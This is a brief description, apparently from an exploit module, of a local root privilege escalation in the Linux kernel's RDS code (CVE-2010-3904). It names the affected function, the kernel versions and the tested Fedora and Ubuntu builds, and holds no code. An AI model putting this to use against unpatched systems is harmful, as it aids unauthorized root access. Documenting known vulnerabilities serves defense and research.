        This module exploits a vulnerability in the rds_page_copy_user function
        in net/rds/page.c (RDS) in Linux kernel versions 2.6.30 to 2.6.36-rc8
        to execute code as root (CVE-2010-3904).

        This module has been tested successfully on Fedora 13 (i686) with
        kernel version 2.6.33.3-85.fc13.i686.PAE and Ubuntu 10.04 (x86_64)
        with kernel version 2.6.32-21-generic.
